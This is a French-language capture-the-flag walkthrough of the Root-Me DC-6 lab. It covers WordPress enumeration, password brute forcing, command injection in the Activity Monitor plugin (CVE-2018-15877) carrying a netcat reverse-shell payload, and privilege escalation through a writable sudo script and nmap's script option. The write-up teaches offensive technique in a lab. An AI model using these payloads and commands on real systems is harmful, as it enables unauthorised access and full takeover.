Home

DC - 6

DC-6/1177-1.png



Nous avons un Hint !



Reco



L'outil Rustscan me permet de détecter les services actifs :


┌──(ReZ3R0💀machine)-[~]
└─$ rustscan -a ctf12.root-me.org


DC-6/1177-2.png




Un service HTTP est disponible sur le port 80 qui redirige vers l'adresse www.wordy.com :


DC-6/1177-3.png


Pour établir la connexion, il est nécessaire d'ajouter le nom de domaine à notre fichier Hosts :


┌──(ReZ3R0💀machine)-[~]
└─$ sudo nano /etc/hosts


# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# Root-Me Challenge:
163.172.195.228 wordy



Sous Windows ouvrir le Bloc-notes en mode administrateur et editer le fichier C:\Windows\System32\drivers\etc\hosts


ajouter également 163.172.195.228 wordy



Nous avons maintenant accès au site:


DC-6/1177-4.png



J'utilise le scanner de vulnérabilités Nikto sur le serveur web :



┌──(ReZ3R0💀machine)-[~]
└─$ nikto -h http://wordy


DC-6/1177-5.png


( Qui ne donne pas grand chose )



J'ai utilisé Dirsearch pour détecter des répertoires ou fichiers cachés/non listés sur le serveur web :



┌──(ReZ3R0💀machine)-[~]
└─$ dirsearch -u http://wordy


DC-6/1177-10.png



Nous avons donc une page de login sur un site WordPress : http://wordy/wp-login.php

J'utilise Wpscan pour analyser le site WordPress à la recherche de vulnérabilités connues :



┌──(ReZ3R0💀machine)-[~]
└─$ wpscan --url http://wordy -e


DC-6/1177-6.png

DC-6/1177-7.png

DC-6/1177-8.png



Nous avons 5 users :


┌──(ReZ3R0💀machine)-[~]
└─$ cat > users.txt
admin
mark
graham
sarah
jens


Maintenant je comprends le Hint ! 😜


┌──(ReZ3R0💀machine)-[~]
└─$ cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt


Je lance un bruteforce avec l'outil Wpscan :


┌──(ReZ3R0💀machine)-[~]
└─$ wpscan --url http://wordy -U users.txt -P passwords.txt


DC-6/1177-9.png



[!] Valid Combinations Found:
| Username: mark, Password: helpdesk01



Exploitation Web



Nous avons donc la page de login : http://wordy/wp-login.php


et l'user mark avec le Password helpdesk01


DC-6/1177-11.png



Nous avons accès au plugin Activity monitor :


DC-6/1177-12.png


Qui est vulnérable https://www.exploit-db.com/exploits/45274



En lisant cette CVE-2018-15877 je peux commencer par tester un simple payload : google.com| id


DC-6/1177-13.png



Le payload google| nc reZ3R0 6666 -e /bin/bash établit une connexion via Netcat


Cependant il est trop long mais nous pouvons modifier la limite maxlenght à 150 par exemple :


DC-6/1177-14.png



Je démarre Netcat sur mon terminal en écoute sur le port 6666 :


┌──(ReZ3R0💀machine)-[~]
└─$ nc -nlvp 6666
listening on [any] 6666 ...
connect to [192.168.1.106] from (UNKNOWN) [163.172.195.228] 57728
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
www-data@dc-6:/var/www/html/wp-admin$



Privilege Escalation



En cherchant un peu je trouve rapidement: Add new user: graham - GSo7isUM1D4 - done :



DC-6/1177-15.png



Nous savons que le port 22 est ouvert, essayons une connexion ssh avec ce Mdp :


┌──(ReZ3R0💀machine)-[~]
└─$ ssh graham@ctf20.root-me.org


DC-6/1177-16.png



Vérification des droits pour graham:



graham@dc-6:~$ sudo -l
Matching Defaults entries for graham on dc-6:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
(jens) NOPASSWD: /home/jens/backups.sh



graham peut éxecuter le script backups.sh avec les droits de jens


Regardons le script :



graham@dc-6:~$ cat /home/jens/backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html

Il suffit d'ajouter /bin/bash dans le script pour accèder à l'utilisateur jens :


graham@dc-6:~$ nano /home/jens/backups.sh
graham@dc-6:~$ cat /home/jens/backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
/bin/bash



Nous pouvons maintenant accèder au compte de jens et vérifier ses droits :



graham@dc-6:~$ sudo -u jens /home/jens/backups.sh
tar: tar (child): backups.tar.gz: Cannot open: Permission denied
tar (child): Error is not recoverable: exiting now
Removing leading `/' from member names
tar: backups.tar.gz: Cannot write: Broken pipe
tar: Child returned status 2
tar: Error is not recoverable: exiting now
jens@dc-6:/home/graham$ id
uid=1004(jens) gid=1004(jens) groups=1004(jens),1005(devs)
jens@dc-6:/home/graham$ sudo -l
Matching Defaults entries for jens on dc-6:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jens may run the following commands on dc-6:
(root) NOPASSWD: /usr/bin/nmap

Sur gtfobins nous pouvons trouver le payload :


DC-6/1177-17.png



TF=$(mktemp)

echo 'os.execute("/bin/sh")' > $TF

nmap --script=$TF



Exécutons ce payload :


jens@dc-6:/home/graham$ echo 'os.execute("/bin/sh")' > /tmp/reZ3R0
jens@dc-6:/home/graham$ sudo nmap --script=/tmp/reZ3R0

Starting Nmap 7.40 ( https://nmap.org ) at 2024-11-06 06:16 AEST
NSE: Warning: Loading '/tmp/reZ3R0' -- the recommended file extension is '.nse'.
# uid=0(root) gid=0(root) groups=0(root)

Nous sommes Root !